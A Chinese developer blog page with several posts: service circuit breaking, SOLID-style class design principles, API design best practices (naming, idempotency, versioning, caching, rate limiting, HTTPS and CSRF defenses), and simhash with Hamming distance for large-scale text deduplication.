服务保障经验谈之服务熔断

zkbhj 发表了文章 • 0 个评论 • 145 次浏览 • 2018-12-18 10:56 • 来自相关话题

什么是服务熔断?

熔断这一概念来源于电子工程中的断路器(Circuit Breaker)。在互联网系统中,当下游服务因访问压力过大而响应变慢或失败,上游服务为了保护系统整体的可用性,可以暂时切断对下游服务的调用。

这种牺牲局部,保全整体的措施就叫做熔断。

如果不采取熔断措施,我们的系统会怎样呢?我们来看一个栗子。

当前系统中有A,B,C三个服务,服务A是上游,服务B是中游,服务C是下游。它们的调用链如下:





 
一旦下游服务C因某些原因变得不可用,积压了大量请求,服务B的请求线程也随之阻塞。线程资源逐渐耗尽,使得服务B也变得不可用。紧接着,服务A也变为不可用,整个调用链路被拖垮。




像这种调用链路的连锁故障,叫做雪崩。

正所谓刮骨疗毒,壮士断腕。在这种时候,就需要我们的熔断机制来挽救整个系统。熔断机制的大体流程和刚才所讲的考试策略如出一辙:





 
这里需要解释两点:

1.开启熔断

在固定时间窗口内,接口调用超时比率达到一个阈值,会开启熔断。进入熔断状态后,后续对该服务接口的调用不再经过网络,直接执行本地的默认方法,达到服务降级的效果。


2.熔断回复

熔断不可能是永久的。当经过了规定时间之后,服务将从熔断状态回复过来,再次接受调用方的远程调用。
 
更多服务降级熔断限流,参考:https://www.cnblogs.com/raosha ... .html 查看全部
什么是服务熔断?

熔断这一概念来源于电子工程中的断路器(Circuit Breaker)。在互联网系统中,当下游服务因访问压力过大而响应变慢或失败,上游服务为了保护系统整体的可用性,可以暂时切断对下游服务的调用。

这种牺牲局部,保全整体的措施就叫做熔断。

如果不采取熔断措施,我们的系统会怎样呢?我们来看一个栗子。

当前系统中有A,B,C三个服务,服务A是上游,服务B是中游,服务C是下游。它们的调用链如下:

20180507103456708.png

 
一旦下游服务C因某些原因变得不可用,积压了大量请求,服务B的请求线程也随之阻塞。线程资源逐渐耗尽,使得服务B也变得不可用。紧接着,服务A也变为不可用,整个调用链路被拖垮。
20180507103502138.png

像这种调用链路的连锁故障,叫做雪崩

正所谓刮骨疗毒,壮士断腕。在这种时候,就需要我们的熔断机制来挽救整个系统。熔断机制的大体流程和刚才所讲的考试策略如出一辙:

20180507103507143.png

 
这里需要解释两点:

1.开启熔断

在固定时间窗口内,接口调用超时比率达到一个阈值,会开启熔断。进入熔断状态后,后续对该服务接口的调用不再经过网络,直接执行本地的默认方法,达到服务降级的效果。


2.熔断回复

熔断不可能是永久的。当经过了规定时间之后,服务将从熔断状态回复过来,再次接受调用方的远程调用。
 
更多服务降级熔断限流,参考:https://www.cnblogs.com/raosha ... .html

类设计的六大基本原则

zkbhj 发表了文章 • 0 个评论 • 155 次浏览 • 2018-11-12 20:12 • 来自相关话题

一.单一职责原则

Single Responsibility Principle, 简称SRP。

定义:There should never be more than one reason for a class to change.

应该有且仅有一个原因引起类的变更。
 
二.里氏替换原则

Liskov Substitution Principle, 简称LSP。

定义:Functions that use pointers or references to base classes must be able to use objects of derived classes without knowing it.

(所有引用基类的地方必须能透明地使用其子类的对象)
 
三.依赖倒置原则

Dependence Inversion Principle, 简称DIP

定义:High level modules should not depend upon low level modules.Both should depend upon abstractions.Abstractions should not depend upon details.Details should depend upon abstractions.

翻译过来,包含三层含义:

1.高层模块不应该依赖低层模块,两者都应该依赖其抽象。2.抽象不应该依赖细节。3.细节应该依赖抽象。

精简的定义: 面向接口编程。
 
四.接口隔离原则:
接口--这里指用interface关键字定义的接口。
定义:
1.Clients should not be forced to depend upon interfaces that they don't use.(客户端不应该依赖它不需要的接口)
2.The dependency of one class to anther one should depend on the smallest possible interface.(类间的依赖关系应该建立在最小的接口上)

概括:建立单一接口,不要建立臃肿庞大的接口。通俗来讲:接口尽量细化,同时接口中的方法尽量少。
 
五.迪米特法则
Law of Demeter, LOD。又称最少知识原则(Least Knowledge Principle, LKP)。
通俗来讲:一个类应该对自己需要耦合或调用的类知道得最少,你(被耦合或调用的类)的内部是如何复杂都和我没有关系,那是你的事情,我就调用你提供的public方法,其他一概不关心。
 
六.开闭原则
Software entities like classes, modules and functions should be open for extension but closed for modifications.(一个软件实体如类、模块和函数应该对扩展开放,对修改关闭) 查看全部
一.单一职责原则

Single Responsibility Principle, 简称SRP。

定义:There should never be more than one reason for a class to change.

应该有且仅有一个原因引起类的变更。
 
二.里氏替换原则

Liskov Substitution Principle, 简称LSP。

定义:Functions that use pointers or references to base classes must be able to use objects of derived classes without knowing it.

(所有引用基类的地方必须能透明地使用其子类的对象)
 
三.依赖倒置原则

Dependence Inversion Principle, 简称DIP

定义:High level modules should not depend upon low level modules.Both should depend upon abstractions.Abstractions should not depend upon details.Details should depend upon abstractions.

翻译过来,包含三层含义:

1.高层模块不应该依赖低层模块,两者都应该依赖其抽象。2.抽象不应该依赖细节。3.细节应该依赖抽象。

精简的定义: 面向接口编程。
 
四.接口隔离原则:
接口--这里指用interface关键字定义的接口。
定义:
1.Clients should not be forced to depend upon interfaces that they don't use.(客户端不应该依赖它不需要的接口)
2.The dependency of one class to anther one should depend on the smallest possible interface.(类间的依赖关系应该建立在最小的接口上)

概括:建立单一接口,不要建立臃肿庞大的接口。通俗来讲:接口尽量细化,同时接口中的方法尽量少。
 
五.迪米特法则
Law of Demeter, LOD。又称最少知识原则(Least Knowledge Principle, LKP)。
通俗来讲:一个类应该对自己需要耦合或调用的类知道得最少,你(被耦合或调用的类)的内部是如何复杂都和我没有关系,那是你的事情,我就调用你提供的public方法,其他一概不关心。
 
六.开闭原则
Software entities like classes, modules and functions should be open for extension but closed for modifications.(一个软件实体如类、模块和函数应该对扩展开放,对修改关闭)

#原创#API接口设计要考虑的几个重要原则和方法总结

zkbhj 发表了文章 • 0 个评论 • 427 次浏览 • 2018-11-12 11:04 • 来自相关话题

这里想和大家讨论的是在后台接口设计过程中,还有哪些方面需要考虑,以及还有哪些优秀的技术实践方案可以借鉴。

 【规范和最佳实践】

1.合理的接口命名;

接口的命名必须规范优雅,在未看到接口文档时,就可以根据接口的URL明白接口的功能是什么?

如下面的例子://好的接口命名示例
/customer/cert/search.json

//不好的接口命名示例
/customer/info/get.json
2.入参和出参的规范化定义,有统一的风格;

一个项目内的所有接口,必须有统一的风格,统一返回格式,约定业务层错误编码,每个编码可以携带明确的错误信息。出入参字段含义明确,采用统一的命名规范,如驼峰命名等。返回格式统一采用json格式。举一个例子:{
"status": "failure",
"error_code": 100003,
"error_message": "未获取到用户信息",
"data":
}status标识接口是否逻辑处理成功;error_code为不同类型错误信息对应的唯一错误码,error_message为错误信息的简要描述信息(注意某些数据或者信息是否可直接展示给用户),data则为需要返回给调用方的数据信息。
 
另外,每个参数一定要有明确且固定的数据格式,int就是int,string就是string,array就是array,object就是object,因为对于一些对数据类型要求比较严格的使用方,不明确的数据格式返回,可能会造成不可预知的错误。
 
下面给大家列一下Json里的六种基本数据格式: 

Number:整数或浮点数
String:字符串
Boolean:true 或 false
Array:数组包含在方括号中
Object:对象包含在大括号{}中
Null:空类型

 
3.接口的功能定义要具备单一性;

单一性是指接口要做的事情应该是一个比较单一的事情,比如登陆接口,登陆完成应该只是返回登陆成功以后一些用户信息如uid即可,但很多人为了减少接口交互,返回一大堆额外的数据。

但有时候对于一些内部系统接口来讲,为了实现通用性,可能会提供一些通用的查询接口,即在同一个接口内返回尽可能多的信息,但也不建议这么做,至少不是一个好的实践;


4.明确接口支持的协议;

接口要明确所支持的协议,是POST/GET/PUT/DELETE等的哪一个。一般来讲,同一个接口而言,尽量只支持一种协议,并且在接口被调用时,如果参数传递非接口定义协议,要明确提示返回错误信息,这样可以减少很多类似于“为啥我调接口参数都对还调不通”的问题的沟通成本。同时,严格的协议规范也可以避免一些意料之外的问题出现。例如:您请求的资源不支持 http 方法“POST
5.是否支持幂等;

这是作为一个接口而言,很需要明确的一点,尤其是在一些特殊的应用场景下,是否支持幂等是需要首先明确的。比如下面这个例子:

发放卡券的接口:/coupon/card/handOut.json POST

这是一个卡券系统里发放租金卡的接口,支持POST协议传参。由于很多种原因,同一类卡券被某个人领取时,都可能会产生接口被调用不支持一次的情形,比如网络抖动、用户快速点击、甚至是恶意刷接口等,我们希望,对于“同一个调用”,我们给用户返回的结果应该是一致的,这就是幂等。实现幂等的方式有几种,比如卡券系统就是通过生成订单号的形式完成的接口幂等;


6、充分考虑接口的可扩展性,避免做大而全的接口;

要根据实际业务场景定义接口,充分考虑接口的可扩展性。比如自如的APP首页数据接口,我们可以设计成整个首页就一个大接口,但是假如这样,未来再次改版APP,我们可能就需要完全重新写这个接口,但假如我们按模块区分接口,可能我们仅需要开发新增加的模块的接口,对于以前有的,在数据结构不调整只做样式改变的需求里,就可以减少工作量的开发。
另外这么做还有一个优点,尤其对移动端作用尤为突出,由于移动端对带宽有限,所以,接口中尽量不要返回无用的信息,只返回真正需要的数据,进而减少由于过多的数据量影响处理速度,最重要的是影响传输效率。


7、接口里尽量不做客户端可以处理的逻辑,减少服务端压力;

接口主要是提供给客户端数据的,对于能够在客端完成的逻辑处理,尽量由客端来处理(当然APP比较特殊,如果改动这部分逻辑需要发版,还是需要放在后端),进而减轻后端服务器的压力,让后端接口更加“专心”做好数据服务;


8、清晰的日志分类、记录以及归档规范;

接口日志很重要,无论对于追溯问题还是解决bug,都有着举足轻重的作用。所以,好的日志规范,是一个很好的习惯。日志主要有info和error两种(warning一般不做记录,或者很少用到),info日志一般用于记录现场,用来追溯问题;error日志一般用于协作我们查找bug,定位代码问题。

另外日志也需要定期做归档处理,防止机器磁盘被日志文件大量占用。

更高级的,可以接入一些日志搜集和分析工具,如ELK等,将日志信息持久化存储以及可视化展示,更加方便的对日志信息进行使用。


9、版本控制:
 
这一点,对于接口来讲,非常重要。在实际的场景中,维护多个版本是非常常见的事情,在系统的迭代升级过程中,无可避免的会增减返回参数及入参,修改返回数据的结构,甚至会废弃原有接口改为新的数据接口。所以,为了不影响老版本应用的正常使用,大部分应用后台都会针对性的维护多个接口版本。
一般来讲,有2中常用的方式:

1.每个接口有各自的版本,一般为接口添加个version的参数。 
2.整个接口系统有统一的版本,一般在URL中添加版本号,比如 http://api.zkbhj.com/v2。 

 

【性能和高可用】

1、接口的平均响应时长、支持的并发数、TPS;

这个很重要,无论是我们自己设计的接口,还是我们在使用第三方提供的接口时,我们都需要明确接口的平均响应时长,因为这直接关系到你系统的安全性问题!如果在接口调用时,没有设置合理的超时时间甚至都没有设置超时时间,那么一旦所以依赖的接口出现问题甚至服务不可用时,对你调用方系统来讲,将是致命的,雪崩式的系统崩溃,很大一部分就是由于这个原因造成的。所以为了不害人害己,设计以及最终提供的接口,一定要提供一个明确的接口平均响应时长,而且要在接口文档中写明并强烈建议接口调用方设置合理的超时时间,防止由于接口超时而造成雪崩式的连锁反应。


2、数据库和缓存的选择;

为了提高接口性能,合理的选择数据库和缓存很是总要。一般情况下,关系型存储我们一般都会选择MySQL数据库,缓存一般都选择Redis。当然,MySQL数据库的分库分表,加索引用事务、读写分离等,redis作为缓存使用时的缓存时长、缓存数据类型等,都有他们的使用原则和最佳实践,这里不做赘述。我们这里只讨论在何种场景下要使用缓存。比如查询类型的接口,如果要查询的数据并不是实时性要求很高的接口,那我们可以进行缓存处理,比如APP首页接口,一般都是CMS里面配置的一些图文信息,我们有必要做缓存处理。当然可能里面有一部分数据是需要实时的,比如自如寓的管家信息,那我们可以把这一部分内容做实时的处理。
 

3、限流、熔断和降级;

对于一些特殊的应用场景,比如抢红包、秒杀等,要对接口进行限流处理,方式短时间内的高并发请求将接口搞死;

接口熔断和降级,是为了解决系统不被拖死,不影响核心业务流程而采取的措施,比如获取用户信息列表,实时获取用户头像和昵称的接口暂时不可用(比如根据设置,10个请求里6个以上都超时,则判定为服务不可用,触发熔断机制),我们可以主动放弃调用(熔断),只返回核心数据uid等,昵称和头像暂时返回默认数据(降级);


4、消除单点,负载均衡;

对于任何一个接口服务,我们至少要有2台机器对外提供服务,禁止单点服务,单点一旦出问题,会直接造成服务不可用;

对于访问量很大的API服务,为了提供更加快速的接口响应,我们往往不是单台机器提供服务,而是有多台机器组成一个分布式集群对外提供服务。这个时候就会涉及到负载均衡,比如我们就会由nginx来做负载均衡,根据一定的策略机制,将接口请求平均的分发到不同的应用机器上进行处理和响应。进而提高接口的性能。


5、是否有第三方服务接口?

如果接口依赖了第三方服务接口,能用缓存就用缓存。这样可以进一步降低由于第三方接口不稳定给我们自己系统造成的波动。当然,也有一些第三方接口无法做缓存,比如就是要实时进行身份验证等,这个时候,超时时间的设置就尤为重要!


6、能异步处理的异步处理:

其实有很多场景下,一个接口里面的很多逻辑是可以异步处理的。举个例子:

比如用户注册场景,用户注册成功之后会给客户的邮箱发送一封激活邮件。常规的逻辑流程应该是,前段提交用户信息到注册接口,注册接口做各种校验,校验通过后,发送邮件,发送成功后,返回给前端告诉用户注册成功,请进入邮箱激活账号。其实,这个流程里的“发送邮件”就是可以拿出来异步处理的部分,当校验通过而且注册完成之后,我们把发送邮件这件事抛出去,交给另外一个就负责发邮件的任务进行处理(如我们现在有的补偿队列,或者是发一个MQ消息),然后直接返回给用户注册成功。这样,注册接口的平均响应时间一定会比第一种方案提高很多。


7、更高要求的高可用,可以采用异地机房部署;

在物理地域上就分开部署,两地同时崩溃的概率还是比较低的;


8、监控和报警;

在对接口建立高效的监控和报警机制,能够及时发现问题并通知到相应的人员进行第一时间的处理和跟进。


【稳定和安全】

1、身份验证;

在一些接口场景中,是要依赖于用户身份的,比如通过token还实现用户身份的验证;


2、接口防抓取和串改数据;

防止数据被轻易抓取到,我们可以采用https作为接口的网络传输协议,进而保证数据包不被轻易的就抓取和分析。即使这种情况下,依然被抓取到,我们还可以对传输的数据进行我们自己的加密处理,比如用对称加密算法AES或者非对称加密算法RSA,亦或是我们系统内部自己商定好的加密算法,对数据进行加密处理,这样,即使抓取到数据包,也很难分析出数据的原始信息。

对于防止数据被串改,可以使用sign验签,进一步防止接口参数被串改的可能性。


3、防刷;

接口防刷会有一些策略,根据实际的应用场景进行选择,比如增加图形验证码、接入智能验证码、时间戳限制单位时间内的调用次数、ip限制等;

另外监控很重要,及时发现异常的调用,进行封禁处理;


【其他】

1、是否需要支持跨域;

这一点是针对于H5提供接口时需要考虑的,因为一般情况下,实际的应用和接口所在的域并不是同一个域,基于浏览器的安全策略,对于XHR请求来讲,是不允许进行跨域请求的,所以,一般提供给H5的接口要支持跨域请求。当然解决跨域的方法也不在本次讨论的范围之内,目前主流的方式就是在服务器配置的header头信息中增加两项参数。



2、基于H5提供接口的一些安全性问题;

比如常见的CSRF攻击,我们可以在接口里验证 HTTP Referer字段、x-requested-with字段、header中增加token等,从一定程度上提高被CSRF攻击的门槛。 
 
3、在代码结构层面,尽量和其他部分分开;
 
API集中由同一个系统“模块”提供,尽量不要和页面等其他功能混合开发。例如下面的项目分层模式就是一个较好的实践方案:





 
即所有API接口均分布在api内部,不与pc(PC站页面)、mobile(M站页面)等混合在一起。 

4、文档:
 
好的接口,还有一项优点,就是会有为之配套的接口文档。如果希望降低接口文档的维护成本等,也可以使用开源的第三方自动化接口文档工具,比如swagger等。 查看全部
这里想和大家讨论的是在后台接口设计过程中,还有哪些方面需要考虑,以及还有哪些优秀的技术实践方案可以借鉴。

 【规范和最佳实践】

1.合理的接口命名;

接口的命名必须规范优雅,在未看到接口文档时,就可以根据接口的URL明白接口的功能是什么?

如下面的例子:
//好的接口命名示例
/customer/cert/search.json

//不好的接口命名示例
/customer/info/get.json

2.入参和出参的规范化定义,有统一的风格;

一个项目内的所有接口,必须有统一的风格,统一返回格式,约定业务层错误编码,每个编码可以携带明确的错误信息。出入参字段含义明确,采用统一的命名规范,如驼峰命名等。返回格式统一采用json格式。举一个例子:
{
"status": "failure",
"error_code": 100003,
"error_message": "未获取到用户信息",
"data":
}
status标识接口是否逻辑处理成功;error_code为不同类型错误信息对应的唯一错误码,error_message为错误信息的简要描述信息(注意某些数据或者信息是否可直接展示给用户),data则为需要返回给调用方的数据信息。
 
另外,每个参数一定要有明确且固定的数据格式,int就是int,string就是string,array就是array,object就是object,因为对于一些对数据类型要求比较严格的使用方,不明确的数据格式返回,可能会造成不可预知的错误。
 
下面给大家列一下Json里的六种基本数据格式: 


Number:整数或浮点数
String:字符串
Boolean:true 或 false
Array:数组包含在方括号中
Object:对象包含在大括号{}中
Null:空类型


 
3.接口的功能定义要具备单一性;

单一性是指接口要做的事情应该是一个比较单一的事情,比如登陆接口,登陆完成应该只是返回登陆成功以后一些用户信息如uid即可,但很多人为了减少接口交互,返回一大堆额外的数据。

但有时候对于一些内部系统接口来讲,为了实现通用性,可能会提供一些通用的查询接口,即在同一个接口内返回尽可能多的信息,但也不建议这么做,至少不是一个好的实践;


4.明确接口支持的协议;

接口要明确所支持的协议,是POST/GET/PUT/DELETE等的哪一个。一般来讲,同一个接口而言,尽量只支持一种协议,并且在接口被调用时,如果参数传递非接口定义协议,要明确提示返回错误信息,这样可以减少很多类似于“为啥我调接口参数都对还调不通”的问题的沟通成本。同时,严格的协议规范也可以避免一些意料之外的问题出现。例如:
您请求的资源不支持 http 方法“POST

5.是否支持幂等;

这是作为一个接口而言,很需要明确的一点,尤其是在一些特殊的应用场景下,是否支持幂等是需要首先明确的。比如下面这个例子:

发放卡券的接口:/coupon/card/handOut.json POST

这是一个卡券系统里发放租金卡的接口,支持POST协议传参。由于很多种原因,同一类卡券被某个人领取时,都可能会产生接口被调用不支持一次的情形,比如网络抖动、用户快速点击、甚至是恶意刷接口等,我们希望,对于“同一个调用”,我们给用户返回的结果应该是一致的,这就是幂等。实现幂等的方式有几种,比如卡券系统就是通过生成订单号的形式完成的接口幂等;


6、充分考虑接口的可扩展性,避免做大而全的接口;

要根据实际业务场景定义接口,充分考虑接口的可扩展性。比如自如的APP首页数据接口,我们可以设计成整个首页就一个大接口,但是假如这样,未来再次改版APP,我们可能就需要完全重新写这个接口,但假如我们按模块区分接口,可能我们仅需要开发新增加的模块的接口,对于以前有的,在数据结构不调整只做样式改变的需求里,就可以减少工作量的开发。
另外这么做还有一个优点,尤其对移动端作用尤为突出,由于移动端对带宽有限,所以,接口中尽量不要返回无用的信息,只返回真正需要的数据,进而减少由于过多的数据量影响处理速度,最重要的是影响传输效率。


7、接口里尽量不做客户端可以处理的逻辑,减少服务端压力;

接口主要是提供给客户端数据的,对于能够在客端完成的逻辑处理,尽量由客端来处理(当然APP比较特殊,如果改动这部分逻辑需要发版,还是需要放在后端),进而减轻后端服务器的压力,让后端接口更加“专心”做好数据服务;


8、清晰的日志分类、记录以及归档规范;

接口日志很重要,无论对于追溯问题还是解决bug,都有着举足轻重的作用。所以,好的日志规范,是一个很好的习惯。日志主要有info和error两种(warning一般不做记录,或者很少用到),info日志一般用于记录现场,用来追溯问题;error日志一般用于协作我们查找bug,定位代码问题。

另外日志也需要定期做归档处理,防止机器磁盘被日志文件大量占用。

更高级的,可以接入一些日志搜集和分析工具,如ELK等,将日志信息持久化存储以及可视化展示,更加方便的对日志信息进行使用。


9、版本控制:
 
这一点,对于接口来讲,非常重要。在实际的场景中,维护多个版本是非常常见的事情,在系统的迭代升级过程中,无可避免的会增减返回参数及入参,修改返回数据的结构,甚至会废弃原有接口改为新的数据接口。所以,为了不影响老版本应用的正常使用,大部分应用后台都会针对性的维护多个接口版本。
一般来讲,有2中常用的方式:


1.每个接口有各自的版本,一般为接口添加个version的参数。 
2.整个接口系统有统一的版本,一般在URL中添加版本号,比如 http://api.zkbhj.com/v2。 


 

【性能和高可用】

1、接口的平均响应时长、支持的并发数、TPS;

这个很重要,无论是我们自己设计的接口,还是我们在使用第三方提供的接口时,我们都需要明确接口的平均响应时长,因为这直接关系到你系统的安全性问题!如果在接口调用时,没有设置合理的超时时间甚至都没有设置超时时间,那么一旦所以依赖的接口出现问题甚至服务不可用时,对你调用方系统来讲,将是致命的,雪崩式的系统崩溃,很大一部分就是由于这个原因造成的。所以为了不害人害己,设计以及最终提供的接口,一定要提供一个明确的接口平均响应时长,而且要在接口文档中写明并强烈建议接口调用方设置合理的超时时间,防止由于接口超时而造成雪崩式的连锁反应。


2、数据库和缓存的选择;

为了提高接口性能,合理的选择数据库和缓存很是总要。一般情况下,关系型存储我们一般都会选择MySQL数据库,缓存一般都选择Redis。当然,MySQL数据库的分库分表,加索引用事务、读写分离等,redis作为缓存使用时的缓存时长、缓存数据类型等,都有他们的使用原则和最佳实践,这里不做赘述。我们这里只讨论在何种场景下要使用缓存。比如查询类型的接口,如果要查询的数据并不是实时性要求很高的接口,那我们可以进行缓存处理,比如APP首页接口,一般都是CMS里面配置的一些图文信息,我们有必要做缓存处理。当然可能里面有一部分数据是需要实时的,比如自如寓的管家信息,那我们可以把这一部分内容做实时的处理。
 

3、限流、熔断和降级;

对于一些特殊的应用场景,比如抢红包、秒杀等,要对接口进行限流处理,方式短时间内的高并发请求将接口搞死;

接口熔断和降级,是为了解决系统不被拖死,不影响核心业务流程而采取的措施,比如获取用户信息列表,实时获取用户头像和昵称的接口暂时不可用(比如根据设置,10个请求里6个以上都超时,则判定为服务不可用,触发熔断机制),我们可以主动放弃调用(熔断),只返回核心数据uid等,昵称和头像暂时返回默认数据(降级);


4、消除单点,负载均衡;

对于任何一个接口服务,我们至少要有2台机器对外提供服务,禁止单点服务,单点一旦出问题,会直接造成服务不可用;

对于访问量很大的API服务,为了提供更加快速的接口响应,我们往往不是单台机器提供服务,而是有多台机器组成一个分布式集群对外提供服务。这个时候就会涉及到负载均衡,比如我们就会由nginx来做负载均衡,根据一定的策略机制,将接口请求平均的分发到不同的应用机器上进行处理和响应。进而提高接口的性能。


5、是否有第三方服务接口?

如果接口依赖了第三方服务接口,能用缓存就用缓存。这样可以进一步降低由于第三方接口不稳定给我们自己系统造成的波动。当然,也有一些第三方接口无法做缓存,比如就是要实时进行身份验证等,这个时候,超时时间的设置就尤为重要!


6、能异步处理的异步处理:

其实有很多场景下,一个接口里面的很多逻辑是可以异步处理的。举个例子:

比如用户注册场景,用户注册成功之后会给客户的邮箱发送一封激活邮件。常规的逻辑流程应该是,前段提交用户信息到注册接口,注册接口做各种校验,校验通过后,发送邮件,发送成功后,返回给前端告诉用户注册成功,请进入邮箱激活账号。其实,这个流程里的“发送邮件”就是可以拿出来异步处理的部分,当校验通过而且注册完成之后,我们把发送邮件这件事抛出去,交给另外一个就负责发邮件的任务进行处理(如我们现在有的补偿队列,或者是发一个MQ消息),然后直接返回给用户注册成功。这样,注册接口的平均响应时间一定会比第一种方案提高很多。


7、更高要求的高可用,可以采用异地机房部署;

在物理地域上就分开部署,两地同时崩溃的概率还是比较低的;


8、监控和报警;

在对接口建立高效的监控和报警机制,能够及时发现问题并通知到相应的人员进行第一时间的处理和跟进。


【稳定和安全】

1、身份验证;

在一些接口场景中,是要依赖于用户身份的,比如通过token还实现用户身份的验证;


2、接口防抓取和串改数据;

防止数据被轻易抓取到,我们可以采用https作为接口的网络传输协议,进而保证数据包不被轻易的就抓取和分析。即使这种情况下,依然被抓取到,我们还可以对传输的数据进行我们自己的加密处理,比如用对称加密算法AES或者非对称加密算法RSA,亦或是我们系统内部自己商定好的加密算法,对数据进行加密处理,这样,即使抓取到数据包,也很难分析出数据的原始信息。

对于防止数据被串改,可以使用sign验签,进一步防止接口参数被串改的可能性。


3、防刷;

接口防刷会有一些策略,根据实际的应用场景进行选择,比如增加图形验证码、接入智能验证码、时间戳限制单位时间内的调用次数、ip限制等;

另外监控很重要,及时发现异常的调用,进行封禁处理;


【其他】

1、是否需要支持跨域;

这一点是针对于H5提供接口时需要考虑的,因为一般情况下,实际的应用和接口所在的域并不是同一个域,基于浏览器的安全策略,对于XHR请求来讲,是不允许进行跨域请求的,所以,一般提供给H5的接口要支持跨域请求。当然解决跨域的方法也不在本次讨论的范围之内,目前主流的方式就是在服务器配置的header头信息中增加两项参数。



2、基于H5提供接口的一些安全性问题;

比如常见的CSRF攻击,我们可以在接口里验证 HTTP Referer字段、x-requested-with字段、header中增加token等,从一定程度上提高被CSRF攻击的门槛。 
 
3、在代码结构层面,尽量和其他部分分开;
 
API集中由同一个系统“模块”提供,尽量不要和页面等其他功能混合开发。例如下面的项目分层模式就是一个较好的实践方案:

QQ截图20181112160646.jpg

 
即所有API接口均分布在api内部,不与pc(PC站页面)、mobile(M站页面)等混合在一起。 

4、文档:
 
好的接口,还有一项优点,就是会有为之配套的接口文档。如果希望降低接口文档的维护成本等,也可以使用开源的第三方自动化接口文档工具,比如swagger等。

海量数据相似度计算算法:simhash和海明距离

zkbhj 发表了文章 • 0 个评论 • 176 次浏览 • 2018-09-12 16:04 • 来自相关话题

通过 采集系统 我们采集了大量文本数据,但是文本中有很多重复数据影响我们对于结果的分析。分析前我们需要对这些数据去除重复,如何选择和设计文本的去重算法?常见的有余弦夹角算法、欧式距离、Jaccard相似度、最长公共子串、编辑距离等。这些算法对于待比较的文本数据不多时还比较好用,如果我们的爬虫每天采集的数据以千万计算,我们如何对于这些海量千万级的数据进行高效的合并去重。最简单的做法是拿着待比较的文本和数据库中所有的文本比较一遍如果是重复的数据就标示为重复。看起来很简单,我们来做个测试,就拿最简单的两个数据使用Apache提供的 Levenshtein for 循环100w次计算这两个数据的相似度。代码结果如下:
String s1 = "你妈妈喊你回家吃饭哦,回家罗回家罗" ;
String s2 = "你妈妈叫你回家吃饭啦,回家罗回家罗" ;

long t1 = System.currentTimeMillis();

for (int i = 0; i < 1000000; i++) {
int dis = StringUtils .getLevenshteinDistance(s1, s2);
}

long t2 = System.currentTimeMillis();

System. out .println(" 耗费时间: " + (t2 - t1) + " ms ");耗费时间: 4266 ms

大跌眼镜,居然计算耗费4秒。假设我们一天需要比较100w次,光是比较100w次的数据是否重复就需要4s,就算4s一个文档,单线程一分钟才处理15个文档,一个小时才900个,一天也才21600个文档,这个数字和一天100w相差甚远,需要多少机器和资源才能解决。

为此我们需要一种应对于海量数据场景的去重方案,经过研究发现有种叫 local sensitive hash 局部敏感哈希 的东西,据说这玩意可以把文档降维到hash数字,数字两两计算运算量要小很多。查找很多文档后看到google对于网页去重使用的是simhash,他们每天需要处理的文档在亿级别,大大超过了我们现在文档的水平。既然老大哥也有类似的应用,我们也赶紧尝试下。simhash是由 Charikar 在2002年提出来的,参考 《Similarity estimation techniques from rounding algorithms》 。 介绍下这个算法主要原理,为了便于理解尽量不使用数学公式,分为这几步:
 

1、分词,把需要判断文本分词形成这个文章的特征单词。最后形成去掉噪音词的单词序列并为每个词加上权重,我们假设权重分为5个级别(1~5)。比如:“ 美国“51区”雇员称内部有9架飞碟,曾看见灰色外星人 ” ==> 分词后为 “ 美国(4) 51区(5) 雇员(3) 称(1) 内部(2) 有(1) 9架(3) 飞碟(5) 曾(1) 看见(3) 灰色(4) 外星人(5)”,括号里是代表单词在整个句子里重要程度,数字越大越重要。

2、hash,通过hash算法把每个词变成hash值,比如“美国”通过hash算法计算为 100101,“51区”通过hash算法计算为 101011。这样我们的字符串就变成了一串串数字,还记得文章开头说过的吗,要把文章变为数字计算才能提高相似度计算性能,现在是降维过程进行时。

3、加权,通过 2步骤的hash生成结果,需要按照单词的权重形成加权数字串,比如“美国”的hash值为“100101”,通过加权计算为“4 -4 -4 4 -4 4”;“51区”的hash值为“101011”,通过加权计算为 “ 5 -5 5 -5 5 5”。

4、合并,把上面各个单词算出来的序列值累加,变成只有一个序列串。比如 “美国”的 “4 -4 -4 4 -4 4”,“51区”的 “ 5 -5 5 -5 5 5”, 把每一位进行累加, “4+5 -4+-5 -4+5 4+-5 -4+5 4+5” ==》 “9 -9 1 -1 1 9”。这里作为示例只算了两个单词的,真实计算需要把所有单词的序列串累加。

5、降维,把4步算出来的 “9 -9 1 -1 1 9” 变成 0 1 串,形成我们最终的simhash签名。 如果每一位大于0 记为 1,小于0 记为 0。最后算出结果为:“1 0 1 0 1 1”。

 
整个过程图为:





 
大家可能会有疑问,经过这么多步骤搞这么麻烦,不就是为了得到个 0 1 字符串吗?我直接把这个文本作为字符串输入,用hash函数生成 0 1 值更简单。其实不是这样的,传统hash函数解决的是生成唯一值,比如 md5、hashmap等。md5是用于生成唯一签名串,只要稍微多加一个字符md5的两个数字看起来相差甚远;hashmap也是用于键值对查找,便于快速插入和查找的数据结构。不过我们主要解决的是文本相似度计算,要比较的是两个文章是否相识,当然我们降维生成了hashcode也是用于这个目的。看到这里估计大家就明白了,我们使用的simhash就算把文章中的字符串变成 01 串也还是可以用于计算相似度的,而传统的hashcode却不行。我们可以来做个测试,两个相差只有一个字符的文本串,“你妈妈喊你回家吃饭哦,回家罗回家罗” 和 “你妈妈叫你回家吃饭啦,回家罗回家罗”。

通过simhash计算结果为:

1000010010101101111111100000101011010001001111100001001011001011

1000010010101101011111100000101011010001001111100001101010001011

通过 hashcode计算为:

1111111111111111111111111111111110001000001100110100111011011110

1010010001111111110010110011101

大家可以看得出来,相似的文本只有部分 01 串变化了,而普通的hashcode却不能做到,这个就是局部敏感哈希的魅力。目前Broder提出的shingling算法和Charikar的simhash算法应该算是业界公认比较好的算法。在simhash的发明人Charikar的论文中并没有给出具体的simhash算法和证明,“量子图灵”得出的证明simhash是由随机超平面hash算法演变而来的。

现在通过这样的转换,我们把库里的文本都转换为simhash 代码,并转换为long类型存储,空间大大减少。现在我们虽然解决了空间,但是如何计算两个simhash的相似度呢?难道是比较两个simhash的01有多少个不同吗?对的,其实也就是这样,我们通过海明距离(Hamming distance)就可以计算出两个simhash到底相似不相似。两个simhash对应二进制(01串)取值不同的数量称为这两个simhash的海明距离。举例如下: 10101 和 00110 从第一位开始依次有第一位、第四、第五位不同,则海明距离为3。对于二进制字符串的a和b,海明距离为等于在a XOR b运算结果中1的个数(普遍算法)。

